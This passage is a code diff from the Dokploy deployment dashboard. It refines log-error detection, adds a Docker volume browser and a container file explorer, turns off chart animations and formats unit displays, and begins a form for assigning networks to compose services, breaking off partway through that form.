 	// Detect HTTP statusCode
 	const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
 
@@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => {
 		return LOG_STYLES.info;
 	}
 
+	// Key/value pairs that explicitly report a non-error (e.g. "error: none",
+	// "failed: false") must not trigger the error keyword patterns below
+	const nonErrorColonPairs =
+		/\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
+	const nonErrorLogfmtPairs =
+		/\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
+	const errorScope = lowerMessage
+		.replace(nonErrorColonPairs, "")
+		.replace(nonErrorLogfmtPairs, "");
+
 	if (
-		/(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
-		/\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
-		/(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
-		/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
-		/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
-		/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
-		/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
-		/\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
-		/\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
-		/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
+		/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
+		/\b(?:exception|failed|failure)\b/i.test(errorScope) ||
+		/(?:stack\s?trace):\s*$/i.test(errorScope) ||
+		/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
+		/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
+		/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
+		/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
+		/\[(?:error|err|fatal)\]/i.test(errorScope) ||
+		/\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
+		/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
 	) {
 		return LOG_STYLES.error;
 	}

apps/dokploy/components/dashboard/docker/show/columns.tsx

@@ -12,6 +12,7 @@ import {
 	DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
 import { ShowContainerConfig } from "../config/show-container-config";
+import { FilesExplorerModal } from "../files/files-explorer-modal";
 import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
 import { ShowContainerMounts } from "../mounts/show-container-mounts";
 import { ShowContainerNetworks } from "../networks/show-container-networks";
@@ -173,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
 						>
 							Terminal
 						</DockerTerminalModal>
+						<FilesExplorerModal
+							containerId={container.containerId}
+							serverId={container.serverId || undefined}
+						>
+							Browse Files
+						</FilesExplorerModal>
 						<UploadFileModal
 							containerId={container.containerId}
 							serverId={container.serverId || undefined}

apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx

@@ -3,8 +3,10 @@ import React, { useEffect, useRef } from "react";
 import { FitAddon } from "xterm-addon-fit";
 import "@xterm/xterm/css/xterm.css";
 import { AttachAddon } from "@xterm/addon-attach";
+import { ClipboardAddon } from "@xterm/addon-clipboard";
 import { useTheme } from "next-themes";
 import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
 
 interface Props {
 	id: string;
@@ -45,6 +47,9 @@ export const DockerTerminal: React.FC<Props> = ({
 		const ws = new WebSocket(wsUrl);
 
 		const addonAttach = new AttachAddon(ws);
+		const clipboardAddon = new ClipboardAddon();
+		term.loadAddon(clipboardAddon);
+		fixMacOsAltKeys(term);
 		// @ts-ignore
 		term.open(termRef.current);
 		// @ts-ignore
@@ -53,6 +58,7 @@ export const DockerTerminal: React.FC<Props> = ({
 		addonFit.fit();
 		return () => {
 			ws.readyState === WebSocket.OPEN && ws.close();
+			term.dispose();
 		};
 	}, [containerId, activeWay, id]);
 

apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx

@@ -0,0 +1,434 @@
+"use client";
+
+import {
+	type ColumnDef,
+	flexRender,
+	getCoreRowModel,
+	getPaginationRowModel,
+	getSortedRowModel,
+	type PaginationState,
+	type SortingState,
+	useReactTable,
+} from "@tanstack/react-table";
+import type { inferRouterOutputs } from "@trpc/server";
+import {
+	ArrowUpDown,
+	Eye,
+	FolderOpen,
+	HardDrive,
+	Loader2,
+	Trash2,
+} from "lucide-react";
+import { useMemo, useState } from "react";
+import { toast } from "sonner";
+import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { CodeEditor } from "@/components/shared/code-editor";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { Input } from "@/components/ui/input";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import type { AppRouter } from "@/server/api/root";
+import { api } from "@/utils/api";
+
+type VolumeRow =
+	inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
+
+interface Props {
+	serverId?: string;
+}
+
+const SIZE_UNITS: Record<string, number> = {
+	b: 1,
+	kb: 1e3,
+	mb: 1e6,
+	gb: 1e9,
+	tb: 1e12,
+};
+
+const parseSize = (size?: string) => {
+	if (!size) return -1;
+	const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
+	if (!match?.[1] || !match[2]) return -1;
+	return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
+};
+
+const SortableHeader = ({
+	column,
+	title,
+}: {
+	column: {
+		getIsSorted: () => false | "asc" | "desc";
+		toggleSorting: (asc: boolean) => void;
+	};
+	title: string;
+}) => (
+	<Button
+		variant="ghost"
+		className="-ml-3 h-8"
+		onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
+	>
+		{title}
+		<ArrowUpDown className="ml-2 size-4" />
+	</Button>
+);
+
+const ShowVolumeConfig = ({
+	volumeName,
+	serverId,
+}: {
+	volumeName: string;
+	serverId?: string;
+}) => {
+	const [open, setOpen] = useState(false);
+	const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
+		{ volumeName, serverId },
+		{ enabled: open },
+	);
+
+	return (
+		<Dialog open={open} onOpenChange={setOpen}>
+			<DialogTrigger asChild>
+				<Button variant="ghost" size="icon-sm" aria-label="View volume config">
+					<Eye className="size-4" />
+				</Button>
+			</DialogTrigger>
+			<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
+				<DialogHeader>
+					<DialogTitle>Volume Config</DialogTitle>
+					<DialogDescription>
+						docker volume inspect output for "{volumeName}"
+					</DialogDescription>
+				</DialogHeader>
+				{error ? (
+					<AlertBlock type="error">{error.message}</AlertBlock>
+				) : isLoading ? (
+					<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
+						<span>Loading...</span>
+						<Loader2 className="animate-spin size-4" />
+					</div>
+				) : (
+					<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
+						<code>
+							<pre className="whitespace-pre-wrap wrap-break-word">
+								<CodeEditor
+									language="json"
+									lineWrapping
+									lineNumbers={false}
+									readOnly
+									value={JSON.stringify(data, null, 2)}
+								/>
+							</pre>
+						</code>
+					</div>
+				)}
+			</DialogContent>
+		</Dialog>
+	);
+};
+
+export const ShowVolumes = ({ serverId }: Props) => {
+	const utils = api.useUtils();
+	const [sorting, setSorting] = useState<SortingState>([
+		{ id: "Name", desc: false },
+	]);
+	const [globalFilter, setGlobalFilter] = useState("");
+	const [pagination, setPagination] = useState<PaginationState>({
+		pageIndex: 0,
+		pageSize: 10,
+	});
+
+	const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
+		serverId,
+	});
+	const { data: sizes, isLoading: isLoadingSizes } =
+		api.dockerVolume.getVolumesSize.useQuery({ serverId });
+
+	const sizeByName = useMemo(
+		() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
+		[sizes],
+	);
+	const { mutateAsync: removeVolume } =
+		api.dockerVolume.removeVolume.useMutation();
+
+	const filteredData = useMemo(() => {
+		const list = volumes ?? [];
+		if (!globalFilter.trim()) {
+			return list;
+		}
+		const query = globalFilter.toLowerCase();
+		return list.filter((volume) => volume.Name.toLowerCase().includes(query));
+	}, [volumes, globalFilter]);
+
+	const columns = useMemo<ColumnDef<VolumeRow>[]>(
+		() => [
+			{
+				accessorKey: "Name",
+				header: ({ column }) => <SortableHeader column={column} title="Name" />,
+				cell: ({ row }) => (
+					<div
+						className="max-w-[280px] truncate font-medium"
+						title={row.original.Name}
+					>
+						{row.original.Name}
+					</div>
+				),
+			},
+			{
+				accessorKey: "Driver",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Driver" />
+				),
+				cell: ({ row }) => (
+					<Badge variant="outline">{row.original.Driver}</Badge>
+				),
+			},
+			{
+				accessorKey: "Scope",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Scope" />
+				),
+				cell: ({ row }) => (
+					<span className="text-muted-foreground">{row.original.Scope}</span>
+				),
+			},
+			{
+				id: "Size",
+				header: ({ column }) => <SortableHeader column={column} title="Size" />,
+				sortingFn: (a, b) =>
+					parseSize(sizeByName.get(a.original.Name) ?? undefined) -
+					parseSize(sizeByName.get(b.original.Name) ?? undefined),
+				cell: ({ row }) =>
+					isLoadingSizes ? (
+						<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
+					) : (
+						<span className="text-muted-foreground">
+							{sizeByName.get(row.original.Name) ?? "-"}
+						</span>
+					),
+			},
+			{
+				accessorKey: "Mountpoint",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Mountpoint" />
+				),
+				cell: ({ row }) => (
+					<div
+						className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
+						title={row.original.Mountpoint}
+					>
+						{row.original.Mountpoint}
+					</div>
+				),
+			},
+			{
+				id: "actions",
+				enableSorting: false,
+				header: () => <div className="text-right">Actions</div>,
+				cell: ({ row }) => (
+					<div className="flex items-center justify-end gap-3">
+						<FilesExplorerModal
+							volumeName={row.original.Name}
+							serverId={serverId}
+							asDropdownItem={false}
+						>
+							<Button
+								variant="ghost"
+								size="icon-sm"
+								aria-label="Browse volume files"
+							>
+								<FolderOpen className="size-4" />
+							</Button>
+						</FilesExplorerModal>
+						<ShowVolumeConfig
+							volumeName={row.original.Name}
+							serverId={serverId}
+						/>
+						<DialogAction
+							title="Delete volume"
+							description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
+							onClick={async () => {
+								try {
+									await removeVolume({
+										volumeName: row.original.Name,
+										serverId,
+									});
+									toast.success("Volume deleted");
+									await utils.dockerVolume.getVolumes.invalidate();
+								} catch (error) {
+									toast.error("Error deleting volume", {
+										description:
+											error instanceof Error ? error.message : "Unknown error",
+									});
+								}
+							}}
+						>
+							<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
+								<Trash2 className="size-4 text-destructive" />
+							</Button>
+						</DialogAction>
+					</div>
+				),
+			},
+		],
+		[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
+	);
+
+	const table = useReactTable({
+		data: filteredData,
+		columns,
+		state: {
+			sorting,
+			pagination,
+		},
+		onSortingChange: setSorting,
+		onPaginationChange: setPagination,
+		getCoreRowModel: getCoreRowModel(),
+		getSortedRowModel: getSortedRowModel(),
+		getPaginationRowModel: getPaginationRowModel(),
+	});
+
+	return (
+		<div className="w-full">
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl">
+				<div className="rounded-xl bg-background shadow-md ">
+					<CardHeader className="">
+						<CardTitle className="text-xl flex flex-row gap-2">
+							<HardDrive className="size-6 text-muted-foreground self-center" />
+							Volumes
+						</CardTitle>
+						<CardDescription>
+							Manage the Docker volumes of the selected server.
+						</CardDescription>
+					</CardHeader>
+
+					<CardContent className="space-y-4 py-8 border-t">
+						{isLoading ? (
+							<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : !volumes?.length ? (
+							<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
+								<div className="rounded-full bg-muted p-4">
+									<HardDrive className="size-10 text-muted-foreground" />
+								</div>
+								<div className="space-y-1 text-center">
+									<p className="text-sm font-medium">No volumes found</p>
+									<p className="max-w-sm text-sm text-muted-foreground">
+										Docker volumes created on this server will appear here.
+									</p>
+								</div>
+							</div>
+						) : (
+							<>
+								<div className="flex flex-wrap items-center gap-2">
+									<Input
+										placeholder="Search by name..."
+										value={globalFilter}
+										onChange={(e) => setGlobalFilter(e.target.value)}
+										className="max-w-xs"
+									/>
+								</div>
+								<div className="rounded-md border overflow-x-auto">
+									<Table>
+										<TableHeader>
+											{table.getHeaderGroups().map((headerGroup) => (
+												<TableRow key={headerGroup.id}>
+													{headerGroup.headers.map((header) => (
+														<TableHead key={header.id}>
+															{header.isPlaceholder
+																? null
+																: flexRender(
+																		header.column.columnDef.header,
+																		header.getContext(),
+																	)}
+														</TableHead>
+													))}
+												</TableRow>
+											))}
+										</TableHeader>
+										<TableBody>
+											{table.getRowModel().rows?.length ? (
+												table.getRowModel().rows.map((row) => (
+													<TableRow key={row.id}>
+														{row.getVisibleCells().map((cell) => (
+															<TableCell key={cell.id}>
+																{flexRender(
+																	cell.column.columnDef.cell,
+																	cell.getContext(),
+																)}
+															</TableCell>
+														))}
+													</TableRow>
+												))
+											) : (
+												<TableRow>
+													<TableCell
+														colSpan={columns.length}
+														className="h-24 text-center text-muted-foreground"
+													>
+														No volumes match your filters.
+													</TableCell>
+												</TableRow>
+											)}
+										</TableBody>
+									</Table>
+								</div>
+								{table.getPageCount() > 1 && (
+									<div className="flex items-center justify-end gap-4">
+										<span className="text-sm text-muted-foreground">
+											Page {table.getState().pagination.pageIndex + 1} of{" "}
+											{table.getPageCount()}
+										</span>
+										<div className="flex gap-2">
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.previousPage()}
+												disabled={!table.getCanPreviousPage()}
+											>
+												Previous
+											</Button>
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.nextPage()}
+												disabled={!table.getCanNextPage()}
+											>
+												Next
+											</Button>
+										</div>
+									</div>
+								)}
+							</>
+						)}
+					</CardContent>
+				</div>
+			</Card>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/home/show-home.tsx

@@ -223,7 +223,7 @@ export const ShowHome = () => {
 							</div>
 							{canReadDeployments && (
 								<Link
-									href="/dashboard/deployments"
+									href="/dashboard/overview?tab=deployments"
 									className="text-xs text-muted-foreground hover:text-foreground transition-colors"
 								>
 									view all →

apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx

@@ -1,3 +1,4 @@
+import { formatMb, toMb } from "@dokploy/server/monitoring/units";
 import { format } from "date-fns";
 import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
 import {
@@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
 	const transformedData = accumulativeData.map((item, index) => ({
 		time: item.time,
 		name: `Point ${index + 1}`,
-		readMb: item.value.readMb,
-		writeMb: item.value.writeMb,
+		readMb: toMb(item.value.readMb),
+		writeMb: toMb(item.value.writeMb),
 	}));
 
 	return (
@@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
 							}}
 							formatter={(value, name) => {
 								const label = name === "readMb" ? "Read" : "Write";
-								return [`${value} MB`, label];
+								return [formatMb(Number(value)), label];
 							}}
 						/>
 					}
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="readMb"
 					stroke="var(--color-readMb)"
 					fill="url(#fillBlockRead)"
@@ -91,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="writeMb"
 					stroke="var(--color-writeMb)"
 					fill="url(#fillBlockWrite)"

apps/dokploy/components/dashboard/monitoring/free/container/docker-cpu-chart.tsx

@@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="usage"
 					stroke="var(--color-usage)"
 					fill="url(#fillCpu)"

apps/dokploy/components/dashboard/monitoring/free/container/docker-disk-chart.tsx

@@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="usedGb"
 					stroke="var(--color-usedGb)"
 					fill="url(#fillDiskUsed)"

apps/dokploy/components/dashboard/monitoring/free/container/docker-memory-chart.tsx

@@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="usage"
 					stroke="var(--color-usage)"
 					fill="url(#fillMemory)"

apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx

@@ -1,3 +1,4 @@
+import { formatMb, toMb } from "@dokploy/server/monitoring/units";
 import { format } from "date-fns";
 import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
 import {
@@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
 	const transformedData = accumulativeData.map((item, index) => ({
 		time: item.time,
 		name: `Point ${index + 1}`,
-		inMB: item.value.inputMb,
-		outMB: item.value.outputMb,
+		inMB: toMb(item.value.inputMb),
+		outMB: toMb(item.value.outputMb),
 	}));
 
 	return (
@@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
 							}}
 							formatter={(value, name) => {
 								const label = name === "inMB" ? "In" : "Out";
-								return [`${value} MB`, label];
+								return [formatMb(Number(value)), label];
 							}}
 						/>
 					}
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="inMB"
 					stroke="var(--color-inMB)"
 					fill="url(#fillNetIn)"
@@ -87,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="outMB"
 					stroke="var(--color-outMB)"
 					fill="url(#fillNetOut)"

apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx

@@ -1,3 +1,4 @@
+import { formatMb } from "@dokploy/server/monitoring/units";
 import { useEffect, useState } from "react";
 import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
 import { Progress } from "@/components/ui/progress";
@@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
 					<CardContent>
 						<div className="flex flex-col gap-2 w-full">
 							<span className="text-sm text-muted-foreground">
-								{`Read:  ${currentData.block.value.readMb}  / Write: ${currentData.block.value.writeMb} `}
+								{`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
 							</span>
 							<DockerBlockChart accumulativeData={accumulativeData.block} />
 						</div>
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
 					<CardContent>
 						<div className="flex flex-col gap-2 w-full">
 							<span className="text-sm text-muted-foreground">
-								{`In MB: ${currentData.network.value.inputMb}  / Out MB: ${currentData.network.value.outputMb} `}
+								{`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
 							</span>
 							<DockerNetworkChart accumulativeData={accumulativeData.network} />
 						</div>

apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx

@@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
 							name="Write"
 							dataKey="write"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillWrite)"
 							stroke="hsl(142, 71%, 45%)"
 							strokeWidth={2}
@@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
 							name="Read"
 							dataKey="read"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillRead)"
 							stroke="hsl(217, 91%, 60%)"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx

@@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
 							name="CPU"
 							dataKey="cpu"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillCPU)"
 							stroke="hsl(var(--chart-1))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx

@@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
 							name="Memory"
 							dataKey="memory"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillMemory)"
 							stroke="hsl(var(--chart-2))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx

@@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
 							name="Input"
 							dataKey="input"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillInput)"
 							stroke="hsl(var(--chart-3))"
 							strokeWidth={2}
@@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
 							name="Output"
 							dataKey="output"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillOutput)"
 							stroke="hsl(var(--chart-4))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx

@@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
 							name="CPU"
 							dataKey="cpu"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillCPU)"
 							stroke="hsl(var(--chart-1))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx

@@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
 							yAxisId="left"
 							dataKey="memUsed"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillMemory)"
 							stroke="hsl(var(--chart-2))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx

@@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
 							name="Network In"
 							dataKey="networkIn"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillNetworkIn)"
 							stroke="hsl(var(--chart-3))"
 							strokeWidth={2}
@@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
 							name="Network Out"
 							dataKey="networkOut"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillNetworkOut)"
 							stroke="hsl(var(--chart-4))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/networks/assign-compose-networks.tsx

@@ -0,0 +1,347 @@
+import { zodResolver } from "@hookform/resolvers/zod";
+import { Check, ChevronsUpDown, Loader2, RefreshCw } from "lucide-react";
+import { useEffect, useState } from "react";
+import { useFieldArray, useForm } from "react-hook-form";
+import { toast } from "sonner";
+import { z } from "zod";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import { Checkbox } from "@/components/ui/checkbox";
+import {
+	Command,
+	CommandGroup,
+	CommandInput,
+	CommandItem,
+	CommandList,
+} from "@/components/ui/command";
+import { Form, FormControl, FormField, FormItem } from "@/components/ui/form";
+import {
+	Popover,
+	PopoverContent,
+	PopoverTrigger,
+} from "@/components/ui/popover";
+import { Switch } from "@/components/ui/switch";
+import { cn } from "@/lib/utils";
+import { api } from "@/utils/api";
+
+interface Props {
+	composeId: string;
+}
+
+const serviceSchema = z.object({
+	serviceName: z.string(),
+	networkIds: z.array(z.string()),
+	detachDokployNetwork: z.boolean(),
+});
+
+const formSchema = z.object({
+	services: z.array(serviceSchema),
+});
+
+type FormValues = z.infer<typeof formSchema>;
+
+export const AssignComposeNetworks = ({ composeId }: Props) => {
+	const [cacheType, setCacheType] = useState<"cache" | "fetch">("cache");
+
+	const { data: compose } = api.compose.one.useQuery({ composeId });
+	const {
+		data: services,
+		isLoading: isLoadingServices,
+		error: servicesError,
+		refetch: refetchServices,
+		isRefetching: isRefetchingServices,
+	} = api.compose.loadServices.useQuery(
+		{ composeId, type: cacheType },
+		{ retry: false },
+	);
+
+	const onRetry = () => {
+		setCacheType("fetch");
+		setTimeout(() => refetchServices(), 0);
+	};
+
+	const { data: networks } = api.network.all.useQuery(
+		{ serverId: compose?.serverId ?? undefined },
+		{ enabled: compose !== undefined },
+	);
+	const { mutateAsync, isPending } = api.compose.update.useMutation();
+	const utils = api.useUtils();
+
+	const form = useForm<FormValues>({
+		resolver: zodResolver(formSchema),
+		defaultValues: { services: [] },
+	});
+	const { fields } = useFieldArray({
+		control: form.control,
+		name: "services",
+	});
+
+	useEffect(() => {
+		if (!services) return;
+		const serviceNetworks = compose?.serviceNetworks ?? [];
+		form.reset({
+			services: services.map((serviceName) => {
+				const config = serviceNetworks.find(
+					(s) => s.serviceName === serviceName,
+				);
+				return {
+					serviceName,
+					networkIds: config?.networkIds ?? [],
+					detachDokployNetwork: config?.detachDokployNetwork ?? false,
+				};
+			}),
+		});
+	}, [services, compose?.serviceNetworks, form]);
+
+	const allowsBridge = compose?.composeType === "docker-compose";
+	const availableNetworks = (networks ?? []).filter(
+		(n) => allowsBridge || n.driver === "overlay",
+	);
+
+	const onSubmit = async (values: FormValues) => {
+		try {
+			const serviceNetworks = values.services.filter(
+				(s) => s.networkIds.length > 0 || s.detachDokployNetwork,
+			);
+			await mutateAsync({
+				composeId,
+				serviceNetworks,
+			});
+			toast.success("Networks updated. Redeploy the compose to apply them.");
+			await utils.compose.one.invalidate({ composeId });
+		} catch (error) {
+			toast.error("Error updating networks", {
+				description: error instanceof Error ? error.message : "Unknown error",
+			});
+		}
+	};
+
+	return (
+		<Card className="bg-background">
+			<CardHeader className="flex flex-row items-start justify-between flex-wrap gap-2">
+				<div className="flex flex-col gap-1">
+					<CardTitle className="text-xl">Networks</CardTitle>
+					<CardDescription>
+						Attach Docker networks per service and detach it from
+						dokploy-network. Takes effect on the next deploy.
+					</CardDescription>
+				</div>
+				<Button
+					variant="outline"
+					size="sm"
+					isLoading={isRefetchingServices}
+					onClick={onRetry}
+				>
+					<RefreshCw className="size-4" />
+					Refresh
+				</Button>
+			</CardHeader>
+			<CardContent className="flex flex-col gap-4">
+				{servicesError ? (
+					<div className="flex flex-col gap-3">
+						<AlertBlock type="error">
+							Could not load the compose services. If this compose was just
+							created from a template, it hasn't been cloned yet — click Reload
+							to clone the repository and read its services.
+						</AlertBlock>
+						<div className="flex justify-end">
+							<Button
+								variant="outline"
+								size="sm"
+								isLoading={isRefetchingServices}
+								onClick={onRetry}
+							>
+								<RefreshCw className="size-4" />
+								Reload services
+							</Button>
+						</div>
+					</div>
+				) : isLoadingServices ? (
+					<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
+						<span>Loading services...</span>
+						<Loader2 className="animate-spin size-4" />
+					</div>
+				) : !services?.length ? (
+					<span className="py-6 text-center text-sm text-muted-foreground">
+						No services found in this compose.
+					</span>
+				) : (
+					<Form {...form}>
+						<form
+							onSubmit={form.handleSubmit(onSubmit)}
+							className="flex flex-col gap-4"
+						>
+							{fields.map((fieldItem, index) => (
+								<ServiceRow
+									key={fieldItem.id}
+									control={form.control}
+									index={index}
+									service={fieldItem.serviceName}
+									availableNetworks={availableNetworks}
+								/>
+							))}
+							<div className="flex justify-end">
+								<Button
+									type="submit"
+									disabled={!form.formState.isDirty}
+									isLoading={isPending}
+								>
+									Save
+								</Button>
+							</div>
+						</form>
+					</Form>
+				)}
+			</CardContent>
+		</Card>
+	);
+};
+
+type NetworkOption = { networkId: string; name: string; driver: string };
+
+const ServiceRow = ({
+	control,
+	index,
+	service,
+	availableNetworks,
+}: {
+	control: ReturnType<typeof useForm<FormValues>>["control"];
+	index: number;
+	service: string;
+	availableNetworks: NetworkOption[];
+}) => {
+	const [open, setOpen] = useState(false);
+
+	return (
+		<div className="flex flex-col gap-3 rounded-lg border p-4">
+			<FormField
+				control={control}
+				name={`services.${index}.detachDokployNetwork`}
+				render={({ field }) => (
+					<FormItem className="flex flex-row items-center justify-between gap-3 space-y-0">
+						<span className="text-sm font-medium">{service}</span>
+						<div className="flex items-center gap-2">
+							<span className="text-xs text-muted-foreground">
+								Detach dokploy-network
+							</span>
+							<FormControl>
+								<Switch
+									checked={field.value}
+									onCheckedChange={field.onChange}
+								/>
+							</FormControl>
+						</div>
+					</FormItem>
+				)}
+			/>
+
+			<FormField
+				control={control}
+				name={`services.${index}.networkIds`}
+				render={({ field }) => {
+					const selectedNetworks = availableNetworks.filter((n) =>
+						field.value.includes(n.networkId),
+					);
+					const toggle = (networkId: string) => {
+						field.onChange(
+							field.value.includes(networkId)
+								? field.value.filter((id) => id !== networkId)
+								: [...field.value, networkId],
+						);
+					};
+					return (
+						<FormItem className="space-y-3">
+							<Popover open={open} onOpenChange={setOpen}>
